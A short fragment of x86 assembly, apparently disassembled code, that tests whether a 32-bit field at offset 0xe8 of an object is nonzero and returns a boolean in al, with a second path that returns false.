cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret